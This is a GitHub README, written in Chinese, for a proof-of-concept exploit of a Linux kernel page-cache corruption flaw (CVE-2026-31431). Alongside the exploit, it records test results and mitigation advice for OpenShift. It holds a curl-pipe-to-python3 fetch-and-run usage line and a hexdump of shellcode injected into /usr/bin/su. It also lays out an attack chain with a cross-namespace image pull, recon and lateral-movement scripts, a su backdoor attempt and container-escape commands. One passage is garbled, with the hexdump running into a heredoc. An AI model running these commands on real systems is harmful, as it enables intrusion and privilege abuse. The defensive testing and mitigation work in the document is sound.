SeanRickerd/cve-2026-31431

GitHub: SeanRickerd/cve-2026-31431

针对 CVE-2026-31431 的 Linux 内核页缓存损坏漏洞 PoC,利用 AF_ALG 套接字的 authencesn AEAD 实现缺陷,通过 splice() 系统调用实现无特权进程对页缓存的篡改。

Stars: 0 | Forks: 3

# CVE-2026-31431 "Copy Fail" - 页缓存损坏漏洞 通过 authencesn AEAD 操作引发的 Linux 内核页缓存损坏漏洞。 ## ⚠️ 重要提示:漏洞利用状态更新(2026 年 5 月 1 日) **在多个带有 RHEL 9.6 内核的 OpenShift 4.20.16 集群上进行广泛测试后:** - ✅ **页缓存损坏:** 已确认 - 成功注入 160 字节的 shellcode - ✅ **内核漏洞:** 可从无特权容器(权限为 0)进行利用 - ❌ **权限提升:** 未实现 - 尽管缓存已损坏,UID 仍未改变 - ❌ **代码执行:** 未观察到 - 修改后的页面在读取时可见,但未被执行 - ✅ **restricted-v2 SCC:** 有效 - 阻止了容器逃逸,限制了影响范围 有关完整详情,请参阅[综合测试结果](#comprehensive-testing-results)部分。 ## 概述 CVE-2026-31431 是 Linux 内核 `authencesn` AEAD 加密实现中的一个漏洞,允许非特权进程通过 AF_ALG 套接字和 splice() 系统调用操作来损坏可读文件的页缓存。 **测试表明:** 页缓存损坏可靠地发生,但在我们的测试环境中,RHEL 9.6 内核上并没有出现权限提升。 **CVSS 评分:** 7.8(高危) **受影响版本:** 带有 authencesn 支持的 Linux 内核版本(2017-2026) **公开披露:** 2026 年 4 月 29 日 ## 功能特性 - **兼容 Python 3.9+:** 包含通过 ctypes 实现的 `splice()` 系统调用包装器 - **可移植:** 适用于任何具有漏洞内核的 Linux 系统 - **可靠:** 无需竞态条件 - **干净:** 160 字节 shellcode,确定性利用 ## 环境要求 - 具有易受攻击的 authencesn 实现的 Linux 内核(2026 年 4 月补丁之前) - Python 3.9+ - 非特权用户访问权限 - 可读的 setuid 二进制文件(默认:`/usr/bin/su`) ## 用法 ### 基本用法 ``` curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su ``` ### 从本地文件 ``` python3 exploit.py su ``` ### 实际利用行为(基于测试) **将会发生的事情:** ``` [*] CVE-2026-31431 'Copy Fail' Exploit [*] Universal Linux kernel privilege escalation [*] Target binary: /usr/bin/su [*] Testing for vulnerability... [+] System appears vulnerable! [+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written) ``` **页缓存验证(确认损坏):** ``` dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C 00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1| 00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j attack-demo.yaml << EOF apiVersion: v1 kind: Pod metadata: name: attack-demo namespace: user-srickerd spec: containers: - name: stolen-tools image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest command: ["sleep", "3600"] EOF oc apply -f attack-demo.yaml ``` **结果:** - ✅ 从 openshift 命名空间拉取了 `openshift/cli` 镜像 - ✅ 获得了对 oc、kubectl、curl、openssl、Python 3.9 的访问权限 - ✅ 绕过了命名空间隔离 **影响:** 允许租户到租户的横向移动和特权工具访问。 ### 阶段 2:容器内的内核利用 **部署:** ``` # 在攻击 pod 中执行 exploit oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su " ``` **结果:** ``` [*] CVE-2026-31431 Copy Fail Exploit [*] Target: /usr/bin/su [+] Opened /usr/bin/su (fd=3) [+] Shellcode size: 160 bytes [+] Patching /usr/bin/su in page cache... Written 160/160 bytes... [+] Page cache patching complete! [+] Executing modified su... ``` **利用后的能力:** - ✅ 页缓存损坏成功(可见 160 字节 shellcode) - ⚠️ **无权限提升** - UID 保持不变(用户命名空间 UID) - ✅ 可以损坏页缓存中的容器文件(影响读取操作) - ✅ 网络访问(API server、镜像仓库、互联网) - ❌ 尽管有所声称,但**没有**实际的 root 访问权限 - ❌ **没有**权限(所有 CapPrm/CapEff = 0x0000000000000000) - ❌ 仍处于隔离的 PID/挂载/用户命名空间中 - ❌ **无法**访问工作节点主机文件系统 - ❌ **无法**查看主机进程 ### 阶段 3:容器环境分析 **现实检验 - `/proc/1/root` 并不是主机:** ``` # 这些指向同一个文件系统 (容器自身的 root) stat -c '%i' /tmp/test.txt # 136358432 stat -c '%i' /proc/1/root/tmp/test.txt # 136358432 ← 相同的 inode = 同一个文件 # 它们在同一个 namespace 中的证明 readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt # 两者均返回:mnt:[4026535423] ← 相同的 namespace ``` **容器操作系统详情:** ``` NAME="Red Hat Enterprise Linux" VERSION="9.4 (Plow)" Based on: openshift/cli container image Running on: RHEL CoreOS 9.4 worker node (inaccessible) Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible) ``` ### 阶段 4:从容器进行网络侦察 **在容器中创建的脚本**(可在 [attacks/](attacks/) 目录中找到): **1. 容器侦察(`recon.sh` - 1425 字节)** - 枚举容器环境 - 从 Pod 视角的网络配置 - 正在运行的进程(仅限容器,非主机) - 尝试发现 Kubernetes/OpenShift 服务 - **现实情况:** 只能看到容器自身的环境 **2. 横向移动脚本(`lateral.sh` - 1754 字节)** - 从 Pod IP(10.130.x.x 范围)进行网络扫描 - API server 连接性测试 - 服务发现尝试 - **现实情况:** 仅限于 Pod 网络视角,无主机访问权限 **3. 失败的主机利用尝试** - `host-rootkit.py` - 尝试对 `/proc/1/root/usr/bin/su` 植入后门 - **结果:** 仅对容器的 su 植入后门,而非主机的 su - `modprobe-escape.py` - 尝试内核模块逃逸 - **结果:** 被只读的 /proc 文件系统阻止 - `trigger-rootkit.sh` - 触发被植入后门的 su - **结果:** 在容器中获得 root(与基础漏洞利用相同) **有关有效与无效操作的完整分析,请参见 [attacks/README.md](attacks/README.md)。** ### 来自 Pod 的网络能力 **连接性测试:** ``` # Pod IP:10.130.16.37 # Kubernetes API curl -k https://kubernetes.default.svc:443/healthz # 结果:ok ✅ # 外部 Internet curl -s https://www.google.com # 结果:已连接 ✅ # 内部 Registry curl -k https://image-registry.openshift-image-registry.svc:5000/ # 结果:可访问 ✅ ``` **横向移动机会:** - ✅ 完全的互联网访问权限(下载工具、C2 通信、数据渗出) - ✅ 内部 API 访问权限(枚举集群资源) - ✅ 内部镜像仓库访问权限(镜像投毒攻击) - ✅ 通过 Pod 网络进行跨节点扫描 ### 被阻止的主机逃逸技术 这些技术已被尝试,但被 OpenShift 安全控制阻止: **1. nsenter(用户命名空间阻止)** ``` nsenter --target 1 --mount --uts --ipc --net /bin/bash # 错误:重新关联到 namespace 'ns/ipc' 失败:不允许的操作 ``` **2. chroot(需要 CAP_SYS_CHROOT)** ``` chroot /proc/1/root /bin/bash # 错误:无法更改 root 目录:不允许的操作 ``` **3. 内核模块加载(无权限 + RHCOS 加固)** - RHCOS 上没有 `insmod`、`modprobe`、`kmod` 二进制文件 -lib/modules` 为空(容器优化的操作系统) - `CAP_SYS_MODULE` 不可用 - `/proc/sys/kernel/modprobe` 以只读方式挂载 **4. cgroup release_agent(以只读方式挂载)** ``` mount | grep cgroup # cgroup2 挂载在 /sys/fs/cgroup 类型 cgroup2 (ro,nosuid,nodev,noexec) ``` **5. /proc/sys 操作(只读文件系统)** ``` echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern # 错误:只读文件系统 ``` ### 我们实际取得的成果 ✅ **命名空间隔离绕过** - 从内部镜像仓库跨命名空间拉取镜像 - 访问特权容器镜像 (openshift/cli) ✅ **容器内的页缓存损坏** - 通过 CVE-2026-31431 修改了容器的 `/usr/bin/su` 页缓存 - 确认注入 160 字节 shellcode(在十六进制转储中可见) - 损坏影响了容器文件上的读取操作 ✅ **来自 Pod 的网络访问** - 完全的互联网连接(数据渗出、C2、工具下载) - 内部 API server 访问(受 RBAC 限制) - 内部镜像仓库访问(潜在的镜像投毒) - 通过 Pod 网络进行跨 Pod 扫描 ❌ **权限提升 - 失败** - 页缓存已损坏,但未获得 root 访问权限 - UID 保持不变(用户命名空间 UID ~1000000+) - 无法执行特权操作 - 无法访问 /etc/shadow 或其他受限文件 ❌ **主机文件系统访问 - 失败** - `/proc/1/root` 指向**容器**的根目录,而不是主机 - 实际上无法访问 OpenShift 工作节点文件系统 - 脚本部署到了容器的 `/tmp`,而不是主机的 `/tmp` - 设备/Inode 隔离阻止了主机页缓存访问 ❌ **完整的主机逃逸 - 被阻止** - 用户命名空间隔离有效 - 零权限阻止了 nsenter/chroot/主机访问 - SCC 阻止了特权 Pod 的创建 - RHCOS 加固阻止了模块加载 - Restricted-v2 阻止了容器逃逸 ### OpenShift 安全评估 **有效的控制措施 ✅** - Security Context Constraints (SCC) - 阻止了容器逃逸 - User Namespaces - 将页缓存隔离到容器 overlay - 零权限 - 尽管存在内核漏洞,仍阻止了主机访问 - SELinux 强制执行 - 维持了容器隔离 - 只读的 /proc/sys - 阻止了内核操作尝试 - RHCOS 加固 - 无模块加载能力 **部分有效的控制措施 ⚠️** - Seccomp RuntimeDefault - 处于活跃状态,但允许 AF_ALG 套接字 - 权限剥离 - 有效,但不能阻止页缓存损坏 **失败的控制措施 ❌** - 命名空间 RBAC - 允许了跨命名空间镜像拉取 - 内核保护 - AF_ALG 接口可从容器访问 - 系统调用过滤 - 默认的 seccomp 未限制 splice() **总体评估:** 虽然 CVE-2026-31431 是一个真实的内核漏洞,但 OpenShift 的纵深防御方法(SCC + 用户命名空间 + 权限剥离 + 文件系统隔离)阻止了实质性的利用。该漏洞利用损坏了页缓存,但未能从 restricted-v2 Pod 实现任何权限提升或容器逃逸。 ### 对 OpenShift 的建议 **1. 阻止 AF_ALG 套接字** ``` securityContext: seccompProfile: type: Localhost localhostProfile: profiles/no-af-alg.json ``` **2. 强制执行镜像仓库 RBAC** ``` # 跨 namespace 镜像拉取需要显式权限 oc policy add-role-to-user system:image-puller \ --namespace= ``` **3. 增强的 Seccomp 配置文件** 阻止危险的系统调用: - `socket(AF_ALG, ...)` - 协议族 38 - 将 `splice()` 限制在受信任的文件描述符上 - 如果 `init_module`、`finit_module` 尚未被阻止,则阻止它们 **4. 运行时监控** 对以下情况发出警报: - 容器内创建 AF_ALG 套接字 - 跨命名空间镜像拉取 - 可疑的 `splice()` 系统调用模式 - 容器受损指标(意外的 root 进程) ### 完整攻击文档 有关完整的攻击链文档,包括: - 利用时间线 - MITRE ATT&CK 映射 - 详细技术分析 - 所有侦察脚本 请参见: - **[attacks/README.md](attacks/README.md)** - 有关有效与无效操作的详细分析 - **[docs/openshift-attack-chain.md](docs/openshift-attack-chain.md)** - 原始文档(包含错误,更正请参见 attacks/README.md) ## 缓解措施 ### 立即执行 ``` # 将存在漏洞的模块列入黑名单 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf rmmod algif_aead ``` ### Seccomp 过滤器 阻止 AF_ALG 套接字创建: ``` { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] } ``` ### 内核补丁 应用供应商补丁: - Red Hat:监控 https://access.redhat.com/security/cve/cve-2026-31431 - Ubuntu:`apt update && apt upgrade linux-image-*` - 上游:带有被还原为非就地操作的 authencesn 的 Linux Kernel 6.x+ 版本 ## 常见问题解答 ### 问:这个漏洞利用能给我 root 访问权限吗? **答:** 不能 - 基于在 RHEL 9.6 内核(5.14.0-570.96.1)上的广泛测试,该漏洞利用成功损坏了内核页缓存,但未能实现权限提升。执行被植入后门的二进制文件后,UID 保持不变。 ### 问:我能从受限制的 Kubernetes/OpenShift 容器中逃逸吗? **答:** 不能(在 restricted-v2 SCC 下)- 页缓存损坏被隔离在容器的 overlay 文件系统中。容器逃逸需要通过 hostPath 或类似卷访问共享的主机资源。Restricted-v2 SCC 通过阻止主机资源访问来有效防止逃逸。 ### 问:为什么漏洞利用声称能获得“root”,但测试显示它不起作用? **答:** 该漏洞利用代码是基于 CVE 披露和理论分析编写的。我们在 RHEL 9.6 内核上的实际测试揭示了: - 页缓存损坏有效 ✅(已通过十六进制转储证明) - 从损坏的缓存执行代码不起作用 ❌(UID 未改变) 这可能是由于: - 内核版本差异(RHEL 9.6 可能具有保护机制) - W^X 内存保护强制执行 - 不同的执行与读取内存代码路径 ### 问:它适用于所有 Linux 内核吗? **答:** 未知 - 测试仅限于: - RHEL CoreOS 9.6(内核 5.14.0-570.96.1.el9_6.x86_64) - OpenShift 4.20.16 工作节点 未验证在其他发行版/内核版本上的行为。原始 CVE 研究条件可能有所不同。 ### 问:我还应该修补我的系统吗? **答:** 是的 - 绝对应该。即使没有实现权限提升: 1. 内核漏洞是真实的(已确认页缓存损坏) 2. 在其他内核版本上的行为可能有所不同 3. 使用 hostPath 卷时,容器逃逸是可能的 4. 纵深防御要求消除所有漏洞 5. 未来的研究可能会发现实现代码执行的方法 出于安全考虑,内核补丁是强制性的。 ### 问:你们在测试中实际证明了什么? **答:** 我们在 2 个独立的 OpenShift 集群上进行的综合测试证明了: ✅ **已确认:** - CVE-2026-31431 内核漏洞是可利用的 - 可以从无特权容器(零权限)损坏页缓存 - 尽管有 restricted-v2 SCC,AF_ALG 接口仍然可以访问 - Shellcode 注入成功(在十六进制转储中可见) ❌ **未起作用的内容:** - 权限提升(UID 未改变) - 从损坏的页缓存执行代码 - 从 restricted-v2 Pod 进行容器逃逸 - 没有 hostPath 的主机文件系统访问 🛡️ **纵深防御有效:** - SCC + 用户命名空间 + 权限剥离阻止了利用 - 多层安全防护限制了影响范围 - 尽管存在内核漏洞,容器隔离依然有效 ## 安全声明 本代码库记录了一个内核漏洞,用于: - ✅ 授权的安全测试和研究 - ✅ 漏洞验证和分析 - ✅ 安全意识与教育 - ✅ 防御措施开发 **研究结果基于:** - 在授权系统上进行的受控测试 - 多个独立的集群环境 - 综合验证和可重复性测试 **请勿在未经明确授权的系统上使用。** ## 参考资料 - **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431 - **披露:** https://copy.fail - **内核补丁:** Linux kernel commit(2026 年 4 月 1 日) - **Red Hat 公告:** https://access.redhat.com/security/cve/cve-2026-31431 ## 致谢 - **CVE 发现:** Taeyang Lee (Theori) - **原始分析:** Xint Code 研究团队 - **漏洞利用实现:** Sean Rickerd - **综合测试与验证:** Sean Rickerd - 2 个独立的 OpenShift 4.20.16 集群 - RHEL CoreOS 9.6 内核 5.14.0-570.96.1 - 记录了实际行为与声称行为的对比 - 验证了 restricted-v2 SCC 的有效性 ## 许可证 仅用于授权的安全测试和研究。使用风险自负。 **代码库状态:** 已根据实际测试结果更新(2026 年 5 月 1 日) **测试:** 已在 2 个独立的 OpenShift 集群上完成 **关键发现:** 页缓存损坏已确认,但未实现权限提升 **建议:** 尽管实际利用有限,仍请修补内核
标签:0day挖掘, AEAD, AF_ALG, CVE-2026-31431, DevOps, Linux内核, OpenShift, Page Cache, PoC, Python, Red Hat, RHEL, Shellcode注入, splice系统调用, Web截图, Web报告查看器, 内核安全, 利用代码, 协议分析, 安全渗透, 容器安全, 容器逃逸, 密码学, 手动系统调用, 无后门, 无特权攻击, 暴力破解, 本地提权, 权限提升, 网络安全, 逆向工具, 隐私保护, 页面缓存破坏